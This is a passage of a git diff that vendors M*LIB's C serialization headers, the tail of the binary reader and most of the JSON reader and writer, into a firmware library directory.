+/* Read from the stream 'serial' an integer that can be represented with 'size_of_type' bytes.
+   Set '*i' with the integer value if succeeds 
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_bin_read_integer(m_serial_read_t serial, long long *i, const size_t size_of_type){
+  int8_t   i8;
+  int16_t i16;
+  int32_t i32;
+  int64_t i64;
+  size_t n;
+  FILE *f = (FILE *)serial->data[0].p;
+  if (size_of_type == 1) {
+    n = fread (M_ASSIGN_CAST(void*, &i8), sizeof i8, 1, f);
+    *i = i8;
+  } else if (size_of_type == 2) {
+    n = fread (M_ASSIGN_CAST(void*, &i16), sizeof i16, 1, f);
+    *i = i16;
+  } else if (size_of_type ==  4) {
+    n = fread (M_ASSIGN_CAST(void*, &i32), sizeof i32, 1, f);
+    *i = i32;
+  } else {
+    M_ASSERT(size_of_type == 8);
+    n = fread (M_ASSIGN_CAST(void*, &i64), sizeof i64, 1, f);
+    *i = i64;
+  }
+  return n == 1 ? M_SERIAL_OK_DONE : m_core_serial_fail();
+}
+
+/* Read from the stream 'serial' a float that can be represented with 'size_of_type' bytes.
+   Set '*r' with the boolean value if succeeds 
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_bin_read_float(m_serial_read_t serial, long double *r, const size_t size_of_type){
+  float   f1;
+  double  f2;
+  long double f3;
+  size_t n;
+  FILE *f = (FILE *)serial->data[0].p;
+  if (size_of_type == sizeof f1) {
+    n = fread (M_ASSIGN_CAST(void*, &f1), sizeof f1, 1, f);
+    *r = f1;
+  } else if (size_of_type == sizeof f2) {
+    n = fread (M_ASSIGN_CAST(void*, &f2), sizeof f2, 1, f);
+    *r = f2;
+  } else {
+    M_ASSERT(size_of_type == sizeof f3);
+    n = fread (M_ASSIGN_CAST(void*, &f3), sizeof f3, 1, f);
+    *r = f3;
+  }
+  return n == 1 ? M_SERIAL_OK_DONE : m_core_serial_fail();
+}
+
+/* Read from the stream 'serial' a string.
+   Set 's' with the string if succeeds 
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_bin, _read_string, m_serial_read_t serial, struct m_string_s *s)
+{
+  FILE *f = (FILE*) serial->data[0].p;
+  M_ASSERT(f != NULL && s != NULL);
+  // First read the number of non null characters
+  size_t length;
+  if (m_ser1al_bin_read_size(f, &length) != true) return m_core_serial_fail();
+  // Use of internal string interface to dimension the string
+  char *p = m_str1ng_fit2size M_R(s, length + 1);
+  m_str1ng_set_size(s, length);
+  // Read the characters excluding the final null one.
+  // NOTE: fread supports length == 0.
+  size_t n = fread(M_ASSIGN_CAST(void*, p), 1, length, f);
+  // Force the final null character
+  p[length] = 0;
+  return (n == length) ? M_SERIAL_OK_DONE : m_core_serial_fail();
+}
+
+/* Start reading from the stream 'serial' an array.
+   Set '*num' with the number of elements, or 0 if it is not known.
+   Initialize 'local' so that it can be used to serialize the array 
+   (local is an unique serialization object of the array).
+   Return M_SERIAL_OK_CONTINUE if it succeeds and the array continue,
+   M_SERIAL_OK_DONE if it succeeds and the array ends (the array is empty),
+   M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_bin_read_array_start(m_serial_local_t local, m_serial_read_t serial, size_t *num)
+{
+  FILE *f = (FILE*) serial->data[0].p;
+  size_t n = fread (M_ASSIGN_CAST(void*, num), sizeof *num, 1, f);
+  local->data[1].s = *num;
+  return (n != 1) ? m_core_serial_fail() : (local->data[1].s == 0) ? M_SERIAL_OK_DONE : M_SERIAL_OK_CONTINUE;
+}
+
+/* Continue reading from the stream 'serial' an array.
+   Return M_SERIAL_OK_CONTINUE if it succeeds and the array continue,
+   M_SERIAL_OK_DONE if it succeeds and the array ends,
+   M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_bin_read_array_next(m_serial_local_t local, m_serial_read_t serial)
+{
+  (void) serial; // Unused
+  M_ASSERT(local->data[1].s > 0);
+  local->data[1].s --;
+  return local->data[1].s == 0 ? M_SERIAL_OK_DONE : M_SERIAL_OK_CONTINUE;
+}
+
+
+/* Continue reading from the stream 'serial' the value separator
+   Return M_SERIAL_OK_CONTINUE if it succeeds and the map continue,
+   M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_bin_read_map_value(m_serial_local_t local, m_serial_read_t serial)
+{
+  (void) local; // argument not used
+  (void) serial;
+  return M_SERIAL_OK_CONTINUE;
+}
+
+/* Start reading a tuple from the stream 'serial'.
+   Return M_SERIAL_OK_CONTINUE if it succeeds and the tuple continues,
+   M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_bin_read_tuple_start(m_serial_local_t local, m_serial_read_t serial)
+{
+  (void) serial;
+  local->data[1].i = 0;
+  return M_SERIAL_OK_CONTINUE;
+}
+
+/* Continue reading a tuple from the stream 'serial'.
+   Set '*id' with the corresponding index of the table 'field_name[max]'
+   associated to the parsed field in the stream.
+   Return M_SERIAL_OK_CONTINUE if it succeeds and the tuple continues,
+   Return M_SERIAL_OK_DONE if it succeeds and the tuple ends,
+   M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_bin_read_tuple_id(m_serial_local_t local, m_serial_read_t serial, const char *const field_name [], const int max, int *id)
+{
+  (void) serial;
+  (void) field_name;
+  (void) max;
+  *id = local->data[1].i;
+  local->data[1].i ++;
+  return (*id == max) ? M_SERIAL_OK_DONE : M_SERIAL_OK_CONTINUE;
+}
+
+/* Start reading a variant from the stream 'serial'.
+   Set '*id' with the corresponding index of the table 'field_name[max]'
+   associated to the parsed field in the stream.
+   Return M_SERIAL_OK_CONTINUE if it succeeds and the variant continues,
+   Return M_SERIAL_OK_DONE if it succeeds and the variant ends(variant is empty),
+   M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_bin_read_variant_start(m_serial_local_t local, m_serial_read_t serial, const char *const field_name[], const int max, int*id)
+{
+  (void) field_name;
+  (void) max;
+  (void) local; // argument not used
+  FILE *f = (FILE*) serial->data[0].p;
+  size_t n = fread (M_ASSIGN_CAST(void*, id), sizeof *id, 1, f);
+  return n == 1 ? ((*id < 0) ? M_SERIAL_OK_DONE : M_SERIAL_OK_CONTINUE) : m_core_serial_fail();
+}
+
+/* End reading a variant from the stream 'serial'.
+   Return M_SERIAL_OK_DONE if it succeeds and the variant ends,
+   M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_bin_read_variant_end(m_serial_local_t local, m_serial_read_t serial)
+{
+  (void) local; // argument not used
+  (void) serial;
+  return M_SERIAL_OK_DONE;
+}
+
+static const m_serial_read_interface_t m_ser1al_bin_read_interface = {
+  m_ser1al_bin_read_boolean,
+  m_ser1al_bin_read_integer,
+  m_ser1al_bin_read_float,
+  m_ser1al_bin_read_string,
+  m_ser1al_bin_read_array_start,
+  m_ser1al_bin_read_array_next,
+  m_ser1al_bin_read_array_start,
+  m_ser1al_bin_read_map_value,
+  m_ser1al_bin_read_array_next,
+  m_ser1al_bin_read_tuple_start,
+  m_ser1al_bin_read_tuple_id,
+  m_ser1al_bin_read_variant_start,
+  m_ser1al_bin_read_variant_end
+};
+
+M_INLINE void m_serial_bin_read_init(m_serial_read_t serial, FILE *f)
+{
+  serial->m_interface = &m_ser1al_bin_read_interface;
+  serial->data[0].p = M_ASSIGN_CAST(void*, f);
+}
+
+M_INLINE void m_serial_bin_read_clear(m_serial_read_t serial)
+{
+  (void) serial; // Nothing to do
+}
+
+/* Define a synonym of m_serial_read_t to the BIN serializer with its proper OPLIST */
+typedef m_serial_read_t m_serial_bin_read_t;
+#define M_OPL_m_serial_bin_read_t()                                           \
+  (INIT_WITH(m_serial_bin_read_init), CLEAR(m_serial_bin_read_clear),         \
+   TYPE(m_serial_bin_read_t), PROPERTIES(( LET_AS_INIT_WITH(1) )) )
+
+M_END_PROTECTED_CODE
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-serial-json.h b/lib/subghz_unleashed_compat/include/mlib/m-serial-json.h
new file mode 100644
index 000000000..e0a7718a7
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-serial-json.h
@@ -0,0 +1,1175 @@
+/*
+ * M*LIB - Serial JSON
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_SERIAL_JSON_H
+#define MSTARLIB_SERIAL_JSON_H
+
+#include "m-core.h"
+#include "m-string.h"
+
+M_BEGIN_PROTECTED_CODE
+
+/********************************************************************************/
+/*************************** FILE / WRITE / JSON ********************************/
+/********************************************************************************/
+
+/* Write the boolean 'data' into the serial stream 'serial'.
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_json, _write_boolean, m_serial_write_t serial, const bool data)
+{
+  M_UNUSED_CONTEXT();
+  FILE *f = (FILE *)serial->data[0].p;
+  int n = fprintf(f, "%s", data ? "true" : "false");
+  return n > 0 ? M_SERIAL_OK_DONE : m_core_serial_fail();
+}
+
+/* Write the integer 'data' of 'size_of_type' bytes into the serial stream 'serial'.
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_json, _write_integer, m_serial_write_t serial,const long long data, const size_t size_of_type)
+{
+  M_UNUSED_CONTEXT();
+  (void) size_of_type; // Ignored
+  FILE *f = (FILE *)serial->data[0].p;
+  int n = fprintf(f, "%lld", data);
+  return n > 0 ? M_SERIAL_OK_DONE : m_core_serial_fail();  
+}
+
+/* Write the float 'data' of 'size_of_type' bytes into the serial stream 'serial'.
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_json, _write_float, m_serial_write_t serial, const long double data, const size_t size_of_type)
+{
+  M_UNUSED_CONTEXT();
+  (void) size_of_type; // Ignored
+  FILE *f = (FILE *)serial->data[0].p;
+  int n = fprintf(f, "%Lf", data);
+  return n > 0 ? M_SERIAL_OK_DONE : m_core_serial_fail();
+}
+
+/* Write the null-terminated string 'data'into the serial stream 'serial'.
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_json, _write_string, m_serial_write_t serial, const char data[], size_t length)
+{
+  M_UNUSED_CONTEXT();
+  M_ASSERT(length == (m_str1ng_size_t) length);
+  M_ASSERT_SLOW(length == strlen(data) );
+  FILE *f = (FILE *)serial->data[0].p;
+  M_ASSERT(f != NULL && data != NULL);
+  /* HACK: Build dummy string to reuse m_string_out_str */
+  m_string_t v2;
+  uintptr_t ptr = (uintptr_t) data;
+  v2->u.heap.size = (m_str1ng_size_t) length;
+  v2->u.heap.alloc[sizeof(m_str1ng_size_t)-2] = 1;
+  v2->u.heap.alloc[sizeof(m_str1ng_size_t)-1] = 31;
+  v2->u.heap.ptr = (char*)ptr;
+  m_string_out_str(f, v2);
+  return M_UNLIKELY(ferror(f)) ? m_core_serial_fail() : M_SERIAL_OK_DONE;
+}
+
+/* Start writing an array of 'number_of_elements' objects into the serial stream 'serial'.
+   If 'number_of_elements' is 0, then either the array has no data,
+   or the number of elements of the array is unkown.
+   Initialize 'local' so that it can be used to serialize the array 
+   (local is an unique serialization object of the array).
+   Return M_SERIAL_OK_CONTINUE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_json, _write_array_start, m_serial_local_t local, m_serial_write_t serial, const size_t number_of_elements)
+{
+  M_UNUSED_CONTEXT();
+  (void) local; // argument not used
+  (void) number_of_elements; // Ignored
+  FILE *f = (FILE *)serial->data[0].p;
+  int n = fprintf(f, "[");
+  return n > 0 ? M_SERIAL_OK_CONTINUE : m_core_serial_fail();
+}
+
+/* Write an array separator between elements of an array into the serial stream 'serial' if needed.
+   Return M_SERIAL_OK_CONTINUE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_json, _write_array_next, m_serial_local_t local, m_serial_write_t serial)
+{
+  M_UNUSED_CONTEXT();
+  (void) local; // argument not used
+  FILE *f = (FILE *)serial->data[0].p;
+  int n = fprintf(f, ",");
+  return n > 0 ? M_SERIAL_OK_CONTINUE : m_core_serial_fail();
+}
+
+/* End the writing of an array into the serial stream 'serial'.
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_json, _write_array_end, m_serial_local_t local, m_serial_write_t serial)
+{
+  M_UNUSED_CONTEXT();
+  (void) local; // argument not used
+  FILE *f = (FILE *)serial->data[0].p;
+  int n = fprintf(f, "]");
+  return n > 0 ? M_SERIAL_OK_DONE : m_core_serial_fail();
+}
+
+/* Start writing a map of 'number_of_elements' pairs of objects into the serial stream 'serial'.
+   If 'number_of_elements' is 0, then either the map has no data,
+   or the number of elements is unkown.
+   Initialize 'local' so that it can be used to serialize the map 
+   (local is an unique serialization object of the map).
+   Return M_SERIAL_OK_CONTINUE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_json, _write_map_start, m_serial_local_t local, m_serial_write_t serial, const size_t number_of_elements)
+{
+  M_UNUSED_CONTEXT();
+  (void) local; // argument not used
+  (void) number_of_elements; // Ignored
+  FILE *f = (FILE *)serial->data[0].p;
+  int n = fprintf(f, "{");
+  return n > 0 ? M_SERIAL_OK_CONTINUE : m_core_serial_fail();
+}
+
+/* Write a value separator between element of the same pair of a map into the serial stream 'serial' if needed.
+   Return M_SERIAL_OK_CONTINUE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_json, _write_map_value, m_serial_local_t local, m_serial_write_t serial)
+{
+  M_UNUSED_CONTEXT();
+  (void) local; // argument not used
+  FILE *f = (FILE *)serial->data[0].p;
+  int n = fprintf(f, ":");
+  return n > 0 ? M_SERIAL_OK_CONTINUE : m_core_serial_fail();
+}
+
+/* Write a map separator between elements of a map into the serial stream 'serial' if needed.
+   Return M_SERIAL_OK_CONTINUE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_json, _write_map_next, m_serial_local_t local, m_serial_write_t serial)
+{
+  M_UNUSED_CONTEXT();
+  (void) local; // argument not used
+  FILE *f = (FILE *)serial->data[0].p;
+  int n = fprintf(f, ",");
+  return n > 0 ? M_SERIAL_OK_CONTINUE : m_core_serial_fail();
+}
+
+/* End the writing of a map into the serial stream 'serial'.
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_json, _write_map_end, m_serial_local_t local, m_serial_write_t serial)
+{
+  M_UNUSED_CONTEXT();
+  (void) local; // argument not used
+  FILE *f = (FILE *)serial->data[0].p;
+  int n = fprintf(f, "}");
+  return n > 0 ? M_SERIAL_OK_DONE : m_core_serial_fail();
+}
+
+/* Start writing a tuple into the serial stream 'serial'.
+   Initialize 'local' so that it can serial the tuple 
+   (local is an unique serialization object of the tuple).
+   Return M_SERIAL_OK_CONTINUE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_json, _write_tuple_start, m_serial_local_t local, m_serial_write_t serial)
+{
+  M_UNUSED_CONTEXT();
+  (void) local; // argument not used
+  FILE *f = (FILE *)serial->data[0].p;
+  int n = fprintf(f, "{");
+  return n > 0 ? M_SERIAL_OK_CONTINUE : m_core_serial_fail();
+}
+
+/* Start writing the field named field_name[index] of a tuple into the serial stream 'serial'.
+   Return M_SERIAL_OK_CONTINUE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_json, _write_tuple_id, m_serial_local_t local, m_serial_write_t serial, const char *const field_name[], const int max, const int index)
+{
+  M_UNUSED_CONTEXT();
+  (void) local; // argument not used
+  (void) max; // Ignored
+  FILE *f = (FILE *)serial->data[0].p;
+  int n = fprintf(f, "%c\"%s\":", index == 0 ? ' ' : ',', field_name[index]);
+  return n > 0 ? M_SERIAL_OK_CONTINUE : m_core_serial_fail();
+}
+
+/* End the write of a tuple into the serial stream 'serial'.
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_json, _write_tuple_end, m_serial_local_t local, m_serial_write_t serial)
+{
+  M_UNUSED_CONTEXT();
+  (void) local; // argument not used
+  FILE *f = (FILE *)serial->data[0].p;
+  int n = fprintf(f, "}");
+  return n > 0 ? M_SERIAL_OK_DONE : m_core_serial_fail();
+}
+
+/* Start writing a variant into the serial stream 'serial'.
+   If index <= 0, the variant is empty.
+     Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise 
+   Otherwise, the field 'field_name[index]' will be filled.
+     Return M_SERIAL_OK_CONTINUE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_json, _write_variant_start, m_serial_local_t local, m_serial_write_t serial, const char *const field_name[], const int max, const int index)
+{
+  M_UNUSED_CONTEXT();
+  (void) local; // argument not used
+  (void) max; // argument not used
+  FILE *f = (FILE *)serial->data[0].p;
+  int n;
+  if (index >= 0) {
+    M_ASSERT (index < max);
+    n = fprintf(f, "{\"%s\":", field_name[index]);
+    return n > 0 ? M_SERIAL_OK_CONTINUE : m_core_serial_fail();
+  } else {
+    n = fprintf(f, "{}");
+    return n > 0 ? M_SERIAL_OK_DONE : m_core_serial_fail();
+  }
+}
+
+/* End Writing a variant into the serial stream 'serial'. 
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_json, _write_variant_end, m_serial_local_t local, m_serial_write_t serial)
+{
+  M_UNUSED_CONTEXT();
+  (void) local; // argument not used
+  FILE *f = (FILE *)serial->data[0].p;
+  int n = fprintf(f, "}");
+  return n > 0 ? M_SERIAL_OK_DONE : m_core_serial_fail();
+}
+
+/* The internal exported interface of m_serial_write_json
+   If it is not used, it will be optimized away by the compiler. */
+static const m_serial_write_interface_t m_ser1al_json_write_interface = {
+  m_ser1al_json_write_boolean,
+  m_ser1al_json_write_integer,
+  m_ser1al_json_write_float,
+  m_ser1al_json_write_string,
+  m_ser1al_json_write_array_start,
+  m_ser1al_json_write_array_next,
+  m_ser1al_json_write_array_end,
+  m_ser1al_json_write_map_start,
+  m_ser1al_json_write_map_value,
+  m_ser1al_json_write_map_next,
+  m_ser1al_json_write_map_end,
+  m_ser1al_json_write_tuple_start,
+  m_ser1al_json_write_tuple_id,
+  m_ser1al_json_write_tuple_end,
+  m_ser1al_json_write_variant_start,
+  m_ser1al_json_write_variant_end
+};
+
+/* Initialize the JSON serial object for writing any object to JSON format in the given FILE */
+M_INLINE void m_serial_json_write_init(m_serial_write_t serial, FILE *f)
+{
+  serial->m_interface = &m_ser1al_json_write_interface;
+  serial->data[0].p = M_ASSIGN_CAST(void*, f);
+}
+
+/* CLear the JSON serial object for writing*/
+M_INLINE void m_serial_json_write_clear(m_serial_write_t serial)
+{
+  (void) serial; // Nothing to do
+}
+
+/* Define a synonym to the JSON serializer with a proper OPLIST */
+typedef m_serial_write_t m_serial_json_write_t;
+#define M_OPL_m_serial_json_write_t()                                         \
+  (INIT_WITH(m_serial_json_write_init), CLEAR(m_serial_json_write_clear),     \
+  TYPE(m_serial_json_write_t), PROPERTIES(( LET_AS_INIT_WITH(1) )) )
+
+
+
+
+/********************************************************************************/
+/*************************** FILE / READ  / JSON ********************************/
+/********************************************************************************/
+
+/* Read from the stream 'serial' a boolean.
+   Set '*b' with the boolean value if succeeds 
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_json_read_boolean(m_serial_read_t serial, bool *b){
+  FILE *f = (FILE*) serial->data[0].p;
+  int c = m_core_fgetc_nospace(f);
+  if (c == 't') {
+    *b = true;
+    c = fgetc(f);
+    if (c != 'r') return m_core_serial_fail();
+    c = fgetc(f);
+    if (c != 'u') return m_core_serial_fail();
+    c = fgetc(f);
+    if (c != 'e') return m_core_serial_fail();
+    return M_SERIAL_OK_DONE;
+  } else if (c == 'f') {
+    *b = false;
+    c = fgetc(f);
+    if (c != 'a') return m_core_serial_fail();
+    c = fgetc(f);
+    if (c != 'l') return m_core_serial_fail();
+    c = fgetc(f);
+    if (c != 's') return m_core_serial_fail();
+    c = fgetc(f);
+    if (c != 'e') return m_core_serial_fail();
+    return M_SERIAL_OK_DONE;
+  } else {
+    return m_core_serial_fail();
+  }
+}
+
+/* Read from the stream 'serial' an integer that can be represented with 'size_of_type' bytes.
+   Set '*i' with the integer value if succeeds 
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_json_read_integer(m_serial_read_t serial, long long *i, const size_t size_of_type){
+  (void) size_of_type; // Ignored
+  FILE *f = (FILE*) serial->data[0].p;
+  return m_core_fscanf(f, " %lld", i) == 1 ? M_SERIAL_OK_DONE : m_core_serial_fail();
+}
+
+/* Read from the stream 'serial' a float that can be represented with 'size_of_type' bytes.
+   Set '*r' with the boolean value if succeeds 
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_json_read_float(m_serial_read_t serial, long double *r, const size_t size_of_type){
+  (void) size_of_type; // Ignored
+  FILE *f = (FILE*) serial->data[0].p;
+  return m_core_fscanf(f, " %Lf", r) == 1 ? M_SERIAL_OK_DONE : m_core_serial_fail();
+}
+
+/* Read from the stream 'serial' a string.
+   Set 's' with the string if succeeds 
+   Return M_SERIAL_OK_DONE if it succeeds, M_SERIAL_FAIL otherwise */
+M_P(m_serial_return_code_t, m_ser1al_json, _read_string, m_serial_read_t serial, struct m_string_s *s)
+{
+  FILE *f = (FILE*) serial->data[0].p;
+  int n = m_core_fscanf(f, " "); // Skip any leading spaces.
+  (void) n; // Unused return value.
+  return m_string_in_str M_R(s, f) ? M_SERIAL_OK_DONE : m_core_serial_fail();
+}
+
+/* Start reading from the stream 'serial' an array.
+   Set '*num' with the number of elements, or 0 if it is not known.
+   Initialize 'local' so that it can be used to serialize the array 
+   (local is an unique serialization object of the array).
+   Return M_SERIAL_OK_CONTINUE if it succeeds and the array continue,
+   M_SERIAL_OK_DONE if it succeeds and the array ends (the array is empty),
+   M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_json_read_array_start(m_serial_local_t local, m_serial_read_t serial, size_t *num)
+{
+  (void) local; // argument not used
+  FILE *f = (FILE*) serial->data[0].p;
+  int final1 = -1, final2 = -1;
+  int n = m_core_fscanf(f, " [%n ]%n", &final1, &final2);
+  (void) n; // Unused. Parsing is checked through c (more robust)
+  *num = 0; // don't know the size of the array.
+  // Test how much the parsing succeed.
+  if (final1 < 0) return m_core_serial_fail();
+  return (final2 < 0) ? M_SERIAL_OK_CONTINUE : M_SERIAL_OK_DONE;
+}
+
+/* Continue reading from the stream 'serial' an array.
+   Return M_SERIAL_OK_CONTINUE if it succeeds and the array continue,
+   M_SERIAL_OK_DONE if it succeeds and the array ends,
+   M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_json_read_array_next(m_serial_local_t local, m_serial_read_t serial)
+{
+  (void) local; // argument not used
+  FILE *f = (FILE*) serial->data[0].p;
+  char c = 0;
+  int n = m_core_fscanf(f, " %c", m_core_arg_size(&c, 1) );
+  (void) n; // Unused. Parsing is checked through c (more robust)
+  return c == ',' ? M_SERIAL_OK_CONTINUE : c == ']' ? M_SERIAL_OK_DONE : m_core_serial_fail();
+}
+
+/* Start reading from the stream 'serial' a map.
+   Set '*num' with the number of elements, or 0 if it is not known.
+   Initialize 'local' so that it can be used to serialize the array 
+   (local is an unique serialization object of the array).
+   Return M_SERIAL_OK_CONTINUE if it succeeds and the map continue,
+   M_SERIAL_OK_DONE if it succeeds and the map ends (the map is empty),
+   m_core_serial_fail() otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_json_read_map_start(m_serial_local_t local, m_serial_read_t serial, size_t *num)
+{
+  (void) local; // argument not used
+  FILE *f = (FILE*) serial->data[0].p;
+  int final1 = -1, final2 = -1;
+  int n = m_core_fscanf(f, " {%n }%n", &final1, &final2);
+  (void) n; // Unused. Parsing is checked through final (more robust)
+  *num = 0; // don't know the size of the map.
+  // Test how much the parsing succeed.
+  if (final1 < 0) return m_core_serial_fail();
+  return (final2 < 0) ? M_SERIAL_OK_CONTINUE : M_SERIAL_OK_DONE;
+}
+
+/* Continue reading from the stream 'serial' the value separator
+   Return M_SERIAL_OK_CONTINUE if it succeeds and the map continue,
+   M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_json_read_map_value(m_serial_local_t local, m_serial_read_t serial)
+{
+  (void) local; // argument not used
+  FILE *f = (FILE*) serial->data[0].p;
+  int final = -1;
+  int n = m_core_fscanf(f, " :%n", &final);
+  (void) n; // Unused. Parsing is checked through final (more robust)
+  return final > 0 ? M_SERIAL_OK_CONTINUE : m_core_serial_fail();
+}
+
+/* Continue reading from the stream 'serial' a map.
+   Return M_SERIAL_OK_CONTINUE if it succeeds and the map continue,
+   M_SERIAL_OK_DONE if it succeeds and the map ends,
+   M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_json_read_map_next(m_serial_local_t local, m_serial_read_t serial)
+{
+  (void) local; // argument not used
+  FILE *f = (FILE*) serial->data[0].p;
+  char c = 0;
+  int n = m_core_fscanf(f, " %c", m_core_arg_size(&c, 1) );
+  (void) n; // Unused. Parsing is checked through c (more robust)
+  return c == ',' ? M_SERIAL_OK_CONTINUE : c == '}' ? M_SERIAL_OK_DONE : m_core_serial_fail();
+}
+
+/* Start reading a tuple from the stream 'serial'.
+   Return M_SERIAL_OK_CONTINUE if it succeeds and the tuple continues,
+   M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_json_read_tuple_start(m_serial_local_t local, m_serial_read_t serial)
+{
+  (void) local; // argument not used
+  FILE *f = (FILE*) serial->data[0].p;
+  int final = -1;
+  int n = m_core_fscanf(f, " {%n", &final);
+  (void) n; // Unused. Parsing is checked through final (more robust)
+  return final > 0 ? M_SERIAL_OK_CONTINUE : m_core_serial_fail();
+}
+
+/* Continue reading a tuple from the stream 'serial'.
+   Set '*id' with the corresponding index of the table 'field_name[max]'
+   associated to the parsed field in the stream.
+   Return M_SERIAL_OK_CONTINUE if it succeeds and the tuple continues,
+   Return M_SERIAL_OK_DONE if it succeeds and the tuple ends,
+   M_SERIAL_FAIL otherwise */
+M_INLINE  m_serial_return_code_t
+m_ser1al_json_read_tuple_id(m_serial_local_t local, m_serial_read_t serial, const char *const field_name [], const int max, int *id)
+{
+  (void) local; // argument not used
+  FILE *f = (FILE*) serial->data[0].p;
+  int c = m_core_fgetc_nospace(f);
+  if (c == EOF) return m_core_serial_fail();
+  if (c == '}') return M_SERIAL_OK_DONE;
+  if (c == ',') {
+     // If first call of read_tuple_id, it is a failure
+     if (*id == -1) return m_core_serial_fail();
+  } else {
+    // c should be \" but let fscanf parse it.
+    ungetc(c, f);
+  }
+  /* Read the field in the JSON */
+  c = -1;
+  char field[M_USE_IDENTIFIER_ALLOC+1];
+  int nn = m_core_fscanf(f, " \"%" M_AS_STR(M_USE_IDENTIFIER_ALLOC) "[^ \t\n\"]\":%n",
+                m_core_arg_size(field, M_USE_IDENTIFIER_ALLOC+1), &c);
+  (void) nn ; // Unused. Check is done through 'c' (more robust).
+  if (c <= 0)
+    return m_core_serial_fail();
+  /* Search for field in field_name */
+  for(int n = 0; n < max; n++) {
+    if (strcmp(field, field_name[n]) == 0) {
+      *id = n;
+      return M_SERIAL_OK_CONTINUE;
+    }
+  }
+  return m_core_serial_fail();
+}
+
+/* Start reading a variant from the stream 'serial'.
+   Set '*id' with the corresponding index of the table 'field_name[max]'
+   associated to the parsed field in the stream.
